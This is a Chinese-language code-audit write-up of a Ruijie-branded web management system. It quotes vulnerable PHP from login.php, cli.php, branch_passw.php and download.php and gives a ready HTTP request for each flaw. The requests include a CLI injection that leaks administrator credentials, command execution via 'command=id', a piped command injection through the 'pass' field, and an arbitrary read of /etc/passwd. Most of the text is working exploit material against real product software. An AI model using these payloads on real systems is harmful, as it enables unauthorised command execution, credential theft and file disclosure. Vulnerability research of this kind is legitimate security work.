首页 代码审计

1 简介

  • 管理员账号密码泄露:login.php
  • 远程命令执行:cli.php、branch_passw.php
  • 任意文件读取:download.php

2 漏洞详情

2.1 管理员账号密码泄露

login.php漏洞代码部分为:

        if ($username == FALSE || $password == FALSE) {
            $data["status"] = 5;
            $data["msg"] = "username or password can't empty";
            json_echo($data);
            exit();
        }
        $res = execCli("exec", "webmaster $username $password");
        if ($res["status"] != 1) {
            json_echo($res);
            exit();
        }

用户名与密码存在时不会进入第一个if判断,CLI指令未做过滤,可控,可进行拼接
跟进execCli最终会执行CLI指令并返回结果
18537-ho0506u2pwu.png
所以构造payload为:

POST /login.php HTTP/1.1
...

username=admin&password=admin?show webmaster user

最后会返回用户名和密码
09735-vinpvfgie2e.png

2.2 远程命令执行

2.2.1 cli.php

cli.php在文件开头包含了core.controller.php,include_once(AROOT . 'mvc' . DS . 'controller' . DS . 'core.controller.php');此文件下进行了登录判断,所以这个漏洞需要登录才能复现
cli.php漏洞代码部分为:

    public function shellAction() {
        $command = p("command");
        if ($command == false) {
            $data["status"] = 2;
            $data["msg"] = "no command";
            json_echo($data);
            exit();
        }
        $content = [];
        exec(EscapeShellCmd($command), $content);
        $data = array("status" => true,
            "data" => $content);
        json_echo($data);
    }

post传入command后就直接执行命令了,有回显,EscapeShellCmd对单个命令也影响不大
所以构造payload为:

POST /cli.php?a=shell HTTP/1.1
...
Cookie: RUIJIEID=xxx; user=admin

command=id

25758-2prd13iottx.png

2.2.2 branch_passw.php

同样也需要登录后才能复现
branch_passw.php漏洞代码部分为:

    public function setAction() {
        $pass = p("pass");
        if ($pass == FALSE) {
            json_echo(false);
            return;
        }
        $command = "/usr/local/evpn/server/cfg_pass.sh config " . $pass;
        evpnShell($command);
    }

跟进evpnShell
59326-jflkbp8x1sj.png
可以看到$pass变量无过滤可控且无回显,可用|拼接,并将结果重定向至上级目录下进行查看
payload:

POST /itbox_pi/branch_passw.php?a=set HTTP/1.1
...
Cookie: RUIJIEID=77rd2htirat3c6034m9pqer4b3

pass=|id > ../test123xx.txt

40240-f6gyog86rb.png
请求发送后访问http://xxx/test123xx.txt 可查看执行结果
33855-qlq7ccmd01.png

2.3 任意文件读取

同样也需要登录后才能复现
download.php漏洞代码部分为:

    public function read_txtAction() {
        $filename = v("file");
        if (!file_exists($filename)) {
            $data["status"] = 2;
            $data["msg"] = $filename . "不存在";
            json_echo($data);
            exit();
        } else {
            $fileContent = file_get_contents($filename);
            $data = array("status" => true, "data" => $fileContent);
            json_echo($data);
        }
    }

payload:

POST /download.php?a=read_txt HTTP/1.1
...
Cookie: RUIJIEID=xxx

file=/etc/passwd

06960-uhvsvb7ih3m.png



文章评论

目录